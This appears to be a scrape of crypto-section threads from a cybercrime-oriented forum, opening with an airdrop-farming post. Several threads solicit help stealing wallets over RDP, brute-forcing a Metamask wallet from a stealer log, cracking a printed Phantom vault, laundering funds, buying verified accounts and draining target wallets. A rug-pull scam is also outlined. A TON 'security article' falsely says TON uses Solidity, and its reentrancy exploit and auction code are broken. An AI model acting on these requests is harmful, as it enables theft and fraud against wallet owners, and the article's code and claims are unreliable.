Есть мнение что, для того чтобы ставить ноды нужны глубокие технические знания. Сейчас это абсолютно не так, если вы не хотите углубляться в линукс, bash, то вам достаточно знать базу работы с командной строкой. Лично мы пытаемся упрощать гайды максимально, чтобы у людей возникало как можно меньше трудностей.
Я тебе рассказал про особенности этого направления, но совсем забыл про то зачем мы тут собрались - профит.
Немного проектов:
1. Aptos
Каждый кто держал ноду заполнял форму за которую давали 300 APT, плюс если вы попали в тестнет, то ревард от 250 до 2750 APT (без бонусов), залоченных до 26 января 2024 года. (Минимум ~$3к, и то, если сливать не по самому сладкому курсу)
2. Evmos
Тестнет был еще давно, но награды раздали на днях, вышло от $250 до $35к на акк. Если вы попали в мейннет, то получили еще ~5-10к за проценты от стейкинга.
3. Forta
Попасть было легко, участвовать мог практически любой человек, проявивший немного смекалки. Ревард ~3.5к
4. Nym
Нодерам давали приоритетку на коинлисте. С сейла вышло 2к чистого профита, еще давали ревард за ноду, в среднем вышло $500. Общий ревард ~2.5к
Вообще для себя я разделяю все проекты на "каждый мог" и "космос тусовка". Проекты из первого разряда это те ноды, которые не требуют активного участия, по типу IronFish, Sui, Taiko и т.д, ты их ставишь, иногда обновляешь, получаешь ревард. Проекты из разряда "космос тусовка" это отдельный мир, в который без должных знаний и упорства зачастую сложно попасть. Вы сможете поставить ноду, участвовать в тестнете, но вот реварды получить будет проблематично. Все происходит из-за PoS, который подразумевает гонку стейка для нахождения в активном сете валидаторов, которым зачастую и дают награды. Но это не правило, множество проектов выдают награды и тем кто не был в активном сете. "Космос тусовка" обладает еще очень крутым свойством, если вы станете известным валидатором, участвуя в многих тестнетах и показывая хорошие результаты, то вас как нарасхват будут забирать в основную сеть, где вы сможете очень даже хорошо зарабатывать.
Один хороший проект может сделать для вас лайфчендж, даже без мультов. Для меня не стоит вопроса ставить ноды или нет. Статистически затраты времени и денег окупаются многократно, если относится к этому с трезвой головой.
#Retro
Прогревание кошельков-одна из лучших активностей на данный момент. Особый упор не делается конкретно на прогрев,скорее кошельки греются параллельно тому как вы гоняете различные ретро активности. Однако делая например Арбитрум,Л0 или любой другой проект вы забываете про стандартную активность в мейн сети. Поэтому я настоятельно рекомендую сделать минимум 10 транзакций в L1,т.к по сути это универсальный критерий под любой дроп.
Для того чтобы дёшево набить транзакции можете использовать несколько лайфхаков:
1.Создайте енс и регайте субдомены(10$+3$ за домен), понятное дело ловим хороший газ.
2. Wrap+Unwrap Eth. Считается за транзакцию при этом стоит в несколько раз дешевле стандартного свапа из Eth в Usdc например. Также врапать можно на разных площадках ещё и цепляя потенциальный дроп,хороший пример-Bebop.
3.Выводите правильно.Можете выводить эфир разбивая сумму. Условно выводите не 1 раз 0.1 eth а 3 раза по 0.033.
4.Меняйте кошельки. Если вы часто минтите нфт,или вы фанат флипов просто выводите профит на биржу спустя 10-20 транзакций и флипайте на новом кошельке. Вы ничего не теряете и параллельно качаете кошельки.
5.Апрувайте.Апрувы рекомендую давать только доверенным сервисам которые сожрут мало денег. Хороший пример апрув перед продажей на Os.
#NO CRYPTO
Привет работяги, сегодня папа расскажет как вытащил(нет) я еще холжу свои тугрики ибо они и дальше будут перформить, сегодня речь пойдет о коробка ака кейсах CS GO, дело в том что на этой планете слишком много лудиков которые пробуют свою удачу. А CS как самая популярная игра поможет нам в этом.
Для многих не секрет что в играх давно стали появляться игровые предметы у которых есть вполне реальная стоимость, суть в том что раз в год выходит две новых коробки с которых падают предметы, после коробку убирают из игры через 2-3 года и она становится лимит, исходя из логики если их открывают и их убрали из дропа их будет все меньше и меньше.
И где то пару лет назад а точнее 16.12.2020 мною был сделан заход в рынок, и я просто закрыл глаза на пару лет на свои инвестиции, сегодня зашел решил глянуть во что превратилась сумма которую я заносил, и я даже улыбнулся что удалось залутать более 50х с некоторых позиций, таблица не полная но все же, это была финалочка этого поста что бы показать вам что даже пукая в стул можно лутать кеш больше чем большие дяди на фондовом рынке и крипто гении, всех обнял.

https://imgur.com/zQ8xgnl

(КОПИПАСТ)

Desktop Wallets Question
ID: 67686ad7b4103b69df3798ac
Thread ID: 81155
Created: 2023-02-02T23:37:06+0000
Last Post: 2023-02-04T09:51:26+0000
Author: RocketRacoon
Replies: 4 Views: 494

Hello lets say there is access to RDP where they have atomic, exodus jaxxx etc...
Obviously password protected, there is a way to steal?
Discover the password, balance etc?

I dont use any stealer so there is a chance to know about it?

Solana congestion fix?
ID: 67686ad7b4103b69df37974d
Thread ID: 112206
Created: 2024-04-07T19:44:00+0000
Last Post: 2024-04-12T09:49:42+0000
Author: alicejefferson
Replies: 5 Views: 491

Any solana specialists have any workarounds for the congestion?

Private rpc? Bribing the validators?
What is your fix for bots to run smoothly this time?

Rewarding SOL for good suggestions that works well!

AML-Gambling риск 75% - Bitfinex заблокировал транзакцию
ID: 67686ad7b4103b69df3797b6
Thread ID: 104990
Created: 2024-01-02T15:42:38+0000
Last Post: 2024-01-03T20:38:28+0000
Author: MAYC
Replies: 9 Views: 491

Всем привет. Получил перевод от товарища в USDT, который он сделал напрямую с личного кабинета лицензионного казино Stake.

Вывод был на мой белый аккаунт Bitfinex верифицированный на меня. По итогу транзакцию не впустили и запросили миллиард подтверждающих документов.

Я заказал отчёт, действительно, да, адрес с которого была отправка - выглядит не симпатично.

Screenshot_3.png

⛔️ Высокий риск
• Gambling

Интересует вопрос: кто-либо сталкивался конкретно с Gambling funds? Насколько Gambling проще проходится/пропускается при наличии всех подтверждающих документов, нежели чем крипта с риском 100% с пометкой Stolen funds?

Хотел бы услышать оптимистичные/пессимистичные варианты исхода событий, быть может кто-то с этим сталкивался. Спасибо за ответы заранее.

Глубина сид фразы evm
ID: 67686ad7b4103b69df3796b2
Thread ID: 124815
Created: 2024-10-14T19:45:49+0000
Last Post: 2024-10-14T20:04:22+0000
Author: asddddd
Replies: 1 Views: 490

"Получение адресов из сид фраз с глубиной"

Можете расжевать текст сверху, в кавычках? Вообще не разбираюсь в крипта, если из 1 сидки можно получить бесконечное кол-во адресов. Т.е из сид генерируется корневой приватный ключ и далее с помощью путей генерируются остальные приватные ключи. Есть стандарты путей? Основной стандартный путь это m/44'/60'/0'/0/0, больше нету никаких стандартов?

kycid.com
ID: 67686ad7b4103b69df3799f6
Thread ID: 55338
Created: 2021-08-15T14:51:18+0000
Last Post: 2021-08-15T14:57:25+0000
Author: chartmist
Replies: 1 Views: 488

хочу купить kycid.com проверенные аккаунты

Раздача монет 1000
ID: 67686ad7b4103b69df379979
Thread ID: 65081
Created: 2022-04-01T03:59:00+0000
Last Post: 2022-04-14T05:07:27+0000
Author: 100300
Replies: 6 Views: 483

Появилась новая биржа. Раздают 1000 своих монет за регистрацию. Закидывают монеты до верификации. Пока ничего не могу сказать по поводу вывода и долгосрочности жизни этой монеты, но попробовать можно)))
Ссылка для регистрации. 5 минут и штука монет в кармане ))))))0

__

Atlantis-1

trade.atlantiscex.com trade.atlantiscex.com

Проверка смарт - контрактов (ERC20)
ID: 67686ad7b4103b69df3797f2
Thread ID: 96338
Created: 2023-08-22T22:32:49+0000
Last Post: 2023-09-02T08:44:00+0000
Author: based_1x
Replies: 3 Views: 483

Всем привет! Есть 2 вопроса по проверке смарт - контрактов (ERC20) в цепи ETH:
1. HoneyPot, стартовые налоги, ограничения транзакции, максимального кошелька и прочее.
Есть телеграм боты, которые предоставляют эту информацию и различные dapp. Может кто сталкивался с этим? Хочу разработать свой.
Нужны советы - API проверенные, либо что-то еще.
2. Декомпилятор и симулятор.
Когда деплоится контракт ERC20 (чаще всего он не верифицирован) и человек не может увидеть, что в нем спрятано.
В этот момент важно получить эти вводные (пример на фото):
- список функций смарт - контракта
- определение функций, которые открывают торги
- налоги в первых блоках
Нужны советы - API проверенные, либо что-то еще.

Антидетект браузер. Ферма для абуза бесплатно.
ID: 67686ad7b4103b69df37978f
Thread ID: 108068
Created: 2024-02-12T09:54:34+0000
Last Post: 2024-02-14T06:51:20+0000
Author: Logmen
Replies: 4 Views: 482

Полезная инфа, не моя, но полезная.

Быстро, без воды и разговоров..

Мануал здесь

Что за кошельки?
ID: 67686ad7b4103b69df3797c6
Thread ID: 103191
Created: 2023-11-29T10:25:46+0000
Last Post: 2023-11-30T05:37:13+0000
Author: GitzZz
Replies: 8 Views: 481

Кто то знает, что это за кошельки:

mkBEw9aQce9jtm5JtcweA5kzgPLKyJL9eA
mwEW95JJmfWyrGedVyBNSYA5za6K4Tw2ik
n4KNQkvoRvd2V7EaVVn9QLsgZZPRgmfEXB
mx1Hr2nwdDXgwE1GFggKzdUP7Pibju5Xqc

Smart contract signature spoofing
ID: 67686ad7b4103b69df379850
Thread ID: 88999
Created: 2023-05-27T03:27:38+0000
Last Post: 2023-05-27T18:22:31+0000
Author: omerta
Replies: 10 Views: 478

Бизнесмену сошло с рук 320м с помощью спуфа, интересно как это работает

A businessman got away with 320m using sig spoof, I wonder how it works

Помощь с брутом кошелька Metamask.
ID: 67686ad7b4103b69df3797e3
Thread ID: 98609
Created: 2023-09-22T11:32:25+0000
Last Post: 2023-09-25T14:31:05+0000
Author: Frank
Replies: 2 Views: 478

Есть лог с кошельком Metamask, баланс 14000$.
Кошелёк был ранее бручен , но не выдана сид-фраза/пароль. К брутеру обратится возможности нету, инактив.
У кого большие базы, свои методы, напишите в ПМ или тему, свяжусь с вами.

bitcoin core получить баланс адреса
ID: 67686ad7b4103b69df37997b
Thread ID: 65164
Created: 2022-04-03T08:28:50+0000
Last Post: 2022-04-12T06:06:07+0000
Author: keklick1337
Replies: 11 Views: 476

У меня локально установлен bitcoin-core собранный из исходников.
Скачан весь блокчеин.

Задача такова: мне необходимо узнавать локально баланс определённого кошелька без его импорта в валлет. Это может быть любой адрес. Как это возможно сделать?
Либо есть другие bitcoin локальные сервера, которые хранят весь блокчеин, и умеют это делать?

"Серые" форумы по тематике крипты есть вообще?
ID: 67686ad7b4103b69df37998e
Thread ID: 63761
Created: 2022-03-03T13:41:06+0000
Last Post: 2022-03-11T15:33:50+0000
Author: Calve
Replies: 2 Views: 476

Всем привет. Существуют ли "серые" форумы по крипте, желательно с открытой регистрацией? Если да - скиньте линков пожалуйста, очень нуждаюсь.

вопрос по отмыву крипты
ID: 67686ad7b4103b69df37968f
Thread ID: 126824
Created: 2024-11-13T16:52:14+0000
Last Post: 2024-11-13T18:04:46+0000
Author: Ewtw
Replies: 3 Views: 475

Как отмывают крипту через gate.io?

расскажите на примере про флеш кредит
ID: 67686ad7b4103b69df3797c7
Thread ID: 95057
Created: 2023-08-07T15:49:27+0000
Last Post: 2023-11-28T10:53:01+0000
Author: NoNameUserName
Replies: 2 Views: 475

хочу разобраться как работает флеш кредит
посмотрел ролики, суть проста, берешь флеш кредит без обеспечения и ты должен, после всех манипуляций в течении 1блока его вернуть(кредит вернуть)

на пример яблока, стоит на одном дексе 1$ на другом 2$ >> Ты берешь флеш кредит, на сумму 1кк$ покупаешь 1кк яблок, продаешь на другом за 2кк, забираешь всю прибыль 1кк и отдаешь комсу сервису за предоставления этих средств
так вопрос состоит в том:

  1. как проверяют эту связку и кто ее проверяет (ну типа, что после всех манипуляций останется положительный баланс и его хватит на то, чтоб отдать комсу сервису)
  2. если я к примеру завел их куда то в контракт, и после этого у меня ничего не происходит в этом блоке и он закрывается, тоесть все монеты возращаются обратно в тот контракт с которого я их и брал, а все предыдущие транзакции отменяются же? а если я на одном сервисе купил 100btcw, а на другом не продал, то все эти btcw возвращаются обратно, типа делается отмена всего что было в блоке?
  3. если прошла неудачная манипуляция с этой суммой, и хватило только на часть комсы сервису, с чего отдать, тогда что происходит?

кто шарит ответьте на эти вопросы

Выплаты на кошельки Blockchain с Gold статусом
ID: 67686ad7b4103b69df3799c9
Thread ID: 58968
Created: 2021-11-17T23:38:03+0000
Last Post: 2021-11-20T16:55:30+0000
Author: 2AM
Replies: 13 Views: 475

Всем привет) Не покидает интерес касательно одной темки..)) Обращаюсь к обитателям этого форума с надеждой что кто-то всё таки в курсе этой темы ?
Вообщем увидел я однажды в каком-то чате тг сообщение примерно со следующим содержанием - "Покупаю кошельки Blockchain с верификацией до 2020 года", отписал человеку, передал свой кошелёк на "проверку", человек сказал что кошелек не подходит, но потом я обнаруживаю что на кошелек залетело 0.8 ETH, посмотрев по поиску блокчейна кошелек от которого пришли деньги стало понятно что это кошелек какой-то конторы, ибо транзакций там на внушительную сумму. После этого я начал отписывать всем, кто покупал кошельки блокчейн, у каждого разные версии откуда прилетают бабки: "Абуз бонусов казино", "Airdrop'ы крипты" и тд... Что-то мне подсказывает что никакой из этих вариантов не является правдивым ? Есть тут знатоки кто в курсе что это за тема такая?) А то у меня осталось пару знакомых у кого кошельки подходят под требования и упускать возможность заработать какое-то количество эфира не хотелось бы))

А что может являться "драйвером роста" какого-нибудь токена в длительной перспективе?
ID: 67686ad7b4103b69df37967b
Thread ID: 127598
Created: 2024-11-25T18:12:56+0000
Last Post: 2024-12-01T20:38:02+0000
Author: zdestuta
Replies: 5 Views: 474

Не секрет, что задеплоить свой смарт-контракт типа ERC20 - это плёвое (и недорогое главное) дело.
Гораздо сложнее создать ликвидность для этого нового токена.

Конечно же можно, например, при наличии тех же стейблов типа USDT или USDC, создать пул ликвидности (LP) на DEX бирже типа Uniswap, PancakeSwap и положить туда 1:1 даже например, и при должной раскрутке когда все твои токены раскупят за USDT резко выпустить (а владелец контракта он может) ещё токенов и вбросить в LP, тем самым забрав все USDT оттуда (самый простой и банальный скам, хз ведутся ли на такое ещё).

А чем ещё создаётся (желательно настоящая) ликвидность?
Что может являться реальным "драйвером роста" для токена в длительной перспективе - кто-нибудь знает?
От чего мы видим новости "монета такая-то сделала 10 иксов" (и главное продолжает расти) ?
Чисто "хайп" или есть вполне реальные механизмы?

Биткоин кошелек
ID: 67686ad7b4103b69df3797d7
Thread ID: 100677
Created: 2023-10-23T00:09:14+0000
Last Post: 2023-10-24T09:32:21+0000
Author: Реформатор
Replies: 4 Views: 473

Приветствую уважаемые мемберы, подскажите нужен биткоин кошелек со старым legacy адресом, который начинается с "1". Свои глянул все segwit, а какие кошельки со старым не помню. Подскажите люди добрые.

Помогите с контрактом
ID: 67686ad7b4103b69df3796c6
Thread ID: 123320
Created: 2024-09-23T08:57:19+0000
Last Post: 2024-09-23T09:37:13+0000
Author: Dobrobro
Replies: 2 Views: 471

Приветствую! Столкнулся с проблемой, когда деплою контракт то remix выдает (Istanbul) делаю это в 0.6.6 . Суть в том что у конкурента контракт деплоится без обязательного указания токенов, а мне не дает задеплоить без указания MaintokensSymbol и NamehtokenSymbol .
Нужно чтобы мой контракт деплоидся без обязательного указания MaintokensSymbol и NamehtokenSymbol

Безопасность смарт-контрактов на сети TON
ID: 67686ad7b4103b69df379755
Thread ID: 111131
Created: 2024-03-23T07:09:04+0000
Last Post: 2024-04-01T08:40:45+0000
Author: MoneroMafia
Prefix: Статья
Replies: 1 Views: 470

автор : MoneroMafia
для xss.is

**Заголовок: Безопасность смарт-контрактов на сети TON: Понимание рисков и решений

Введение**

Telegram Open Network (TON) - это многообещающая блокчейн-платформа, разработанная Telegram, с целью предоставления расширенных функций и повышенной масштабируемости для поддержки широкого спектра децентрализованных приложений. Однако, как и в случае с любой новой технологией, безопасность смарт-контрактов на сети TON остается одним из основных вопросов. В этой статье мы рассмотрим потенциальные риски, связанные с безопасностью смарт- контрактов на сети TON, выявим распространенные уязвимости и предложим способы их устранения.

Понимание смарт-контрактов на сети TON

Смарт-контракты на сети TON - это автономные программы, которые запускаются на блокчейне и автоматизируют транзакции и соглашения между сторонами без необходимости посредников. Эти смарт-контракты написаны на определенных языках программирования, таких как Solidity, и развертываются на сети для выполнения заранее определенных действий в ответ на определенные условия. Децентрализация и неизменяемость, свойственные блокчейну, делают смарт-контракты привлекательными для широкого спектра приложений, начиная от децентрализованных финансов (DeFi) до онлайн-игр и управления цифровой идентификацией.

Риски безопасности в смарт-контрактах

Несмотря на их потенциальные преимущества, смарт-контракты представляют существенные риски безопасности. Среди наиболее распространенных уязвимостей безопасности в смарт-контрактах на сети TON можно выделить:

- Недочеты логики: Эти недочеты позволяют злоумышленникам обойти правила или получить доступ к чувствительным функциям непредвиденным образом. Например, ошибка в логике контракта может позволить злоумышленнику запускать несанкционированные действия или получать доступ к средствам, не предназначенным для него.

- Переполнение памяти: Переполнение памяти может привести к неполадкам или отказу в обслуживании, если контракт получает избыточное количество транзакций или данных. Например, плохо спроектированный контракт может быть перегружен большим количеством одновременных транзакций, что приведет к замедлению работы сети или даже ее полному блокированию.

- Использование вредоносных контрактов: Злоумышленники могут развертывать вредоносные смарт-контракты на сети TON для кражи средств, манипулирования данными или выполнения других вредоносных действий. Например, кажущийся легитимным контракт может содержать тонкие ловушки или намеренные уязвимости, которые используются злоумышленниками для присвоения средств или нарушения нормальной работы сети.

- Воздействие на зловещие оракулы: Смарт-контракты на сети TON могут взаимодействовать с внешними источниками данных, называемыми оракулами, для получения информации о внешнем мире. Однако вредоносные оракулы могут предоставлять неверные или манипулированные данные, что может привести к непредвиденным действиям или финансовым потерям для пользователей контракта. Крайне важно выбирать надежные оракулы и реализовывать механизмы проверки для обеспечения целостности данных, используемых смарт-контрактами.

- Уязвимости, связанные с обновлениями и модификациями: Смарт-контракты на сети TON могут требовать обновлений или изменений для исправления ошибок, улучшения функциональности или удовлетворения новых требований. Однако процессы обновления могут вводить уязвимости, если они не осуществляются безопасно. Например, неправильно реализованное обновление может привести к несовместимости с предыдущими версиями контракта или непреднамеренным изменениям в его поведении.

**Примеры атак на сеть TON

Атака повторного входа**

Этот вид атаки основан на использовании функции, которая может быть вызвана несколько раз до того, как контракт получит возможность обновить свое внутреннее состояние, что позволяет злоумышленнику повторно крадут средства.*

Пример кода:

JavaScript:Copy to clipboard

pragma solidity ^0.8.0;

contract Wallet {
    mapping(address => uint256) public balances;

    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= _amount;
    }
}

В этом примере контракт кошелька позволяет пользователю снимать средства с помощью функции withdraw(). Однако вызов msg.sender.call для выполнения перевода осуществляется до обновления баланса, что позволяет злоумышленнику вызвать функцию withdraw() несколько раз до обновления баланса.

Пример эксплуатации:

JavaScript:Copy to clipboard

pragma solidity ^0.8.0;

contract MaliciousContract {
    address public target;
    uint256 public amount;

    constructor(address _target) {
        target = _target;
    }

    // Функция обработки возврата для вызова при выводе средств
    fallback() external payable {
        if (amount < address(this).balance) {
            amount += msg.value;
            // Повторный вызов функции вывода средств целевого контракта
            (bool success, ) = target.call{value: msg.value}("");
            require(success, "Transfer failed");
        }
    }

    // Функция для запуска атаки
    function triggerAttack() public payable {
        // Отправляем небольшое количество для запуска атаки
        (bool success, ) = target.call{value: 0.001 ether}("");
        require(success, "Transfer failed");
    }
}

Манипуляция временными метками

Атакующие могут попытаться манипулировать временными метками в смарт- контрактах, чтобы выполнить определенные действия в определенные моменты времени. Например, смарт-контракт аукциона может использовать текущую временную метку для определения завершения аукциона. Однако злоумышленник может попытаться искусственно продлить аукцион, изменяя системную временную метку своего узла или используя уязвимость в управлении временными метками контракта.

Пример кода:

JavaScript:Copy to clipboard

pragma solidity ^0.8.0;

contract Auction {
    uint256 public endTime;

    constructor(uint256 _duration) {
        endTime = block.timestamp + _duration;
    }

    function bid() public payable {
        require(block.timestamp < endTime, "Auction has ended");
        // Запись предложения
    }
}

В этом примере смарт-контракт аукциона использует текущую временную метку для определения завершения аукциона. Злоумышленник может попытаться искусственно продлить аукцион, изменяя системную временную метку своего узла или используя уязвимость в управлении временными метками контракта.

Атака на обмен информацией

Злоумышленники могут использовать обмен информацией между контрактами для выполнения несанкционированных действий или перехвата средств. Например, смарт-контракт аукциона может позволять получателю завершить аукцион, переведя наибольшую сумму получателю. Однако злоумышленник может изменить информацию о платеже, чтобы перенаправить средства на другой счет.

Пример кода:

JavaScript:Copy to clipboard

pragma solidity ^0.8.0;

contract Auction {
    address public beneficiary;
    mapping(address => uint256) public bids;

    constructor(address _beneficiary) {
        beneficiary = _beneficiary;
    }

    function placeBid() public payable {
        bids[msg.sender] += msg.value;
    }

    function finalize() public {
        require(msg.sender == beneficiary, "Only beneficiary can finalize");
        // Перевод наибольшей суммы получателю
        uint256 highestBid = 0;
        address highestBidder;
        for (uint256 i = 0; i < bidderAddresses.length; i++) {
            if (bids[bidderAddresses[i]] > highestBid) {
                highestBid = bids[bidderAddresses[i]];
                highestBidder = bidderAddresses[i];
            }
        }
        payable(beneficiary).transfer(highestBid);
    }
}

В этом примере смарт-контракт аукциона позволяет получателю завершить аукцион, переведя наибольшую сумму получателю. Однако злоумышленник может изменить информацию о платеже, чтобы перенаправить средства на другой счет.

Уязвимость перед оракулами

Смарт-контракты на сети TON могут взаимодействовать с внешними источниками данных, называемыми оракулами, для получения информации о внешнем мире. Вредоносные оракулы могут предоставлять неверные или поддельные данные, что приводит к неожиданным действиям или финансовым потерям для пользователей контракта. Крайне важно выбирать надежные оракулы и внедрять механизмы проверки для обеспечения целостности данных, используемых смарт-контрактами.

Уязвимости, связанные с обновлениями и модификациями

Смарт-контракты на сети TON могут требовать обновлений или изменений для исправления ошибок, улучшения функциональности или удовлетворения новых требований. Процессы обновления и модификации могут внести уязвимости, если они не реализованы безопасно. Например, неправильно выполненное обновление может привести к несовместимости с предыдущими версиями контракта или к несмелым изменениям в его поведении.

Заключение

Безопасность смарт-контрактов в сети TON является ключевым элементом для обеспечения целостности и доверия в блокчейн-экосистеме. Разработчики и пользователи должны осознавать потенциальные риски и лучшие практики безопасности для смягчения уязвимостей. Проведение регулярных аудитов безопасности, принятие безопасных моделей разработки и бдительность по отношению к новым угрозам поможет укрепить надежность сети TON и ее экосистемы смарт-контрактов.

насколько безопасна связка Btc-XMR-ZEC-XMR-Btc-нал
ID: 67686ad7b4103b69df379978
Thread ID: 65476
Created: 2022-04-11T17:38:22+0000
Last Post: 2022-04-15T07:02:38+0000
Author: bloodmother888
Replies: 7 Views: 470

Доброго времени суток форумчане! Т.к как я совсем новичок в данной теме. Я бы хотел поинтересоваться у вас, насколько безопасна связка Btc-XMR-ZEC-XMR-Btc- нал. Заранее благодарю

BNB токены
ID: 67686ad7b4103b69df379a0c
Thread ID: 53989
Created: 2021-07-14T08:49:29+0000
Last Post: 2021-07-14T08:49:29+0000
Author: acide
Replies: 0 Views: 469

сорри, попутал это оказываеться не BNB а CNB с coinsbit

Blockchain вопрос
ID: 67686ad7b4103b69df379a01
Thread ID: 54861
Created: 2021-08-05T05:44:44+0000
Last Post: 2021-08-05T08:25:52+0000
Author: basil
Replies: 6 Views: 468

Захожу на свой кош и вижу непонятную картину

1628141950300.png

Такое впечатление, что кош как бы не прогружается до конца - не видны балансы
При попытке сенда тоже все поля пустые

1628142074200.png

Почту в акк добавить не дает
View Secret Private Key Recovery Phrase - выдает ошибку

1628142124900.png

На других моих кошельках в том же блокчейне ситуация нормальная.
Пробовал заходить с другого устройства/IP - ситуация не меняется.
Ситуация длится уже сутки.
При создании этого кошелька в далеком 2015-16 году мне дали фразу из 17 слов (создавал тогда много кошей и ко всем давали фразы именно из 17 слов).
Очень прошу откликнуться всех, кто может хоть как-то помочь - что это за прикол такой и как деньги оттуда вытащить.

Скрипт автоматического вывода биткойнов (BTC auto cashout script)
ID: 67686ad7b4103b69df379983
Thread ID: 64868
Created: 2022-03-26T20:06:23+0000
Last Post: 2022-03-28T17:03:59+0000
Author: LottoTheGoat
Replies: 8 Views: 467

Russsian: Недавно я слышал разговоры в сообществе о каком-то сценарии автоматического вывода биткойнов. он берет адрес целевого кошелька и каким-то образом переводит деньги прямо с него на кошелек злоумышленников. Кто-нибудь знает что-нибудь об этом?

English: I recently heard talk in the community about some kind of automatic bitcoin cashout script. it takes the address of the target wallet and somehow takes the money directly from it to the wallet of the attackers. Does anyone know anything about this?

как проверить aml крипты
ID: 67686ad7b4103b69df379728
Thread ID: 115484
Created: 2024-05-27T15:45:16+0000
Last Post: 2024-05-27T15:57:02+0000
Author: bootup
Replies: 1 Views: 467

подскажите бота для проверки aml на trx, eth, и sol в основном. я помню раньше такой был в тг но сейчас не могу найти, буду благодарен

Bypass automatic Withdraw
ID: 67686ad7b4103b69df3796e3
Thread ID: 121407
Created: 2024-08-25T12:22:04+0000
Last Post: 2024-08-26T06:08:46+0000
Author: ZeroX64
Replies: 3 Views: 466

Anyone know how to bypass automatic withdraw just after one confirmation it withdraw trx ??

авто вывод ВТС
ID: 67686ad7b4103b69df3797c4
Thread ID: 95820
Created: 2023-08-16T17:24:48+0000
Last Post: 2023-12-12T12:13:47+0000
Author: sg1
Replies: 4 Views: 462

Подскажите есть ли какой кашелек или скрипт (который при паступление монеты сразу автоматом перекинет на другой кошелек)

Telegram Wallet - Ваше мнение
ID: 67686ad7b4103b69df3797e8
Thread ID: 98111
Created: 2023-09-15T09:08:53+0000
Last Post: 2023-09-15T15:00:53+0000
Author: taylerdurden
Replies: 8 Views: 462

Всем хорошего настроения, вчера Дуров запустил сервис @wallet (встроенный криптокошелек в telegram).
Хотел бы услышать ваше мнение по поводу этого кошелька, его безопасности и стоит ли вообще что то хранить на нем.​

не могу отправить USDT trc20
ID: 67686ad7b4103b69df379798
Thread ID: 107568
Created: 2024-02-05T19:34:30+0000
Last Post: 2024-02-05T20:33:52+0000
Author: anonim7
Replies: 16 Views: 461

1707161590734.png
при отправке денег вот такую ошибку выдает, деньги на кошельке есть

Токены разные
ID: 67686ad7b4103b69df37984a
Thread ID: 86645
Created: 2023-04-25T13:41:26+0000
Last Post: 2023-06-02T16:19:07+0000
Author: GRAF_TYTA
Replies: 5 Views: 460

Всем привет народ !!
Есть такое дело . Много кто же нарывался на Сид Ки с непонятными токенами , которые не торгуются нигде , и существуют только как скам так сказать .
Вот из этого есть предложение , если имеются такие токены :
Meta ethm ErC 20, bep20
Auricoin
Freecoin
И тому подобное . То отпишитесь либо тут либо в тг , есть несколько предложений по такому так сказать материалу

GRAF_TYTA

dell
ID: 67686ad7b4103b69df3799f7
Thread ID: 55199
Created: 2021-08-12T03:46:47+0000
Last Post: 2021-08-12T03:46:47+0000
Author: Pent
Replies: 0 Views: 460

dell

Аналог block.io
ID: 67686ad7b4103b69df3798ce
Thread ID: 78897
Created: 2022-12-28T07:42:46+0000
Last Post: 2022-12-31T07:21:47+0000
Author: qviqer
Replies: 5 Views: 459

Приветсвую корефеев XSS
Кто подскажет аналог block.io без ежемесячной платы за план.
+ к сервису побольше выбора криптовалюты с возможностью конвертации по API

p.s

Выбор пал на nowpayments.io - работал кто с ними?

Phantom Wallet
ID: 67686ad7b4103b69df379923
Thread ID: 71156
Created: 2022-08-04T22:17:24+0000
Last Post: 2022-08-10T15:28:07+0000
Author: i0pht
Replies: 2 Views: 456

Здравствуйте друзья, подскажите пожалуйста как работать с кошельком Phantom? Я открываю .log файл для поиска данных Vault. (смотрите ниже)

{"encrypted":"DTVDpPu4s3Eqi8tEvt9iMW1hnDzvmq3m9U2oqS35j8xNn3HPVKMvFHBAWDK4kbYJ33tB2Gw3iqkH6Wio14beLmxT5HH2UzNZPKdQbirdJdY6VUzv4SjfLeva3f4h4sXPfKzf4Ue4dkGDwEj6b5AvFGoGBU59t97VqFyYR9iKccs4ordMeGBaH8DW7bf3rEdUhYC8xwHuAdqXqRVo2SFBM47vSotUXvLEqQ68pXf1EyfKL2JBJXyHa8psxVmQkwuLmnvyDewAtHyWj6xNNVM4y1WTtbCDHSghFeQCAqqC6tQ2orsYmTM2TSFvrBQRXX877hZVKSqfmA6YMHEDzxNtP","nonce":"FcZX9DSb4VnXKK77TXFn7QPEp3P7dNAwb","kdf":"pbkdf2","salt":"To7RJqGogEpaHaUe7uEK63","iterations":10000,"digest":"sha256"}"}

Есть ли способ получить хэши из Vault? Какое поле я удалил и какую утилиту я использовал для получения хэшей? Я искал в hashcat wiki и example_hashes, но не смог найти информацию об этом.

Нужна помощь с Solidity
ID: 67686ad7b4103b69df3797eb
Thread ID: 97618
Created: 2023-09-08T16:31:49+0000
Last Post: 2023-09-12T18:58:19+0000
Author: xcvsd
Replies: 5 Views: 453

В общем дело такое
Наткнулся на статью про Скамим крипту по крупному, так сказать, понимаю что тема по большей степени себя изжила, но есть идеи как воплотить это в нормальный профит, да и просто от нечего делать немного набраться опыта, дабы убить время
И вот, следуя инструкции от автора получаю такую ошибку

1694191082004.png

Знаю что здесь очень много ребят, которые понимают работу контракта как дважды два, подскажите

Сервис для анализа биткоин-адреса
ID: 67686ad7b4103b69df37983f
Thread ID: 88037
Created: 2023-05-15T16:08:02+0000
Last Post: 2023-06-15T17:43:04+0000
Author: Dadonov
Replies: 6 Views: 452

Какой сервис посоветуете для РАСШИРЕННОГО анализа биткоин адреса? Интересует не только оценка благонадежности монет\адреса, но и иная подробная информация, например, информация о предполагаемом владельце кошелька, а так же построение графических цепочек следования той или иной транзакции в блокчейне.

Which exchange is best useful and secure
ID: 67686ad7b4103b69df3797e4
Thread ID: 97961
Created: 2023-09-13T07:28:12+0000
Last Post: 2023-09-19T12:19:32+0000
Author: k3ren
Replies: 2 Views: 452

Hello, wish you all a wonderful day!

I've been using Binance for a while now, but I'm interested in exploring other cryptocurrency exchange platforms that offer enhanced security and lower fees. While Binance has its merits, it's always a good idea to diversify and consider alternatives.

So, I'm turning to this knowledgeable community to seek your recommendations. If you've had experience with other exchanges that you find secure , user- friendly, and cost-effective, please share your insights, which one is nowadays better?

Thanks.

Блокировка средств на бирже
ID: 67686ad7b4103b69df379864
Thread ID: 86850
Created: 2023-04-28T12:47:22+0000
Last Post: 2023-05-07T17:58:15+0000
Author: scoring0
Replies: 8 Views: 452

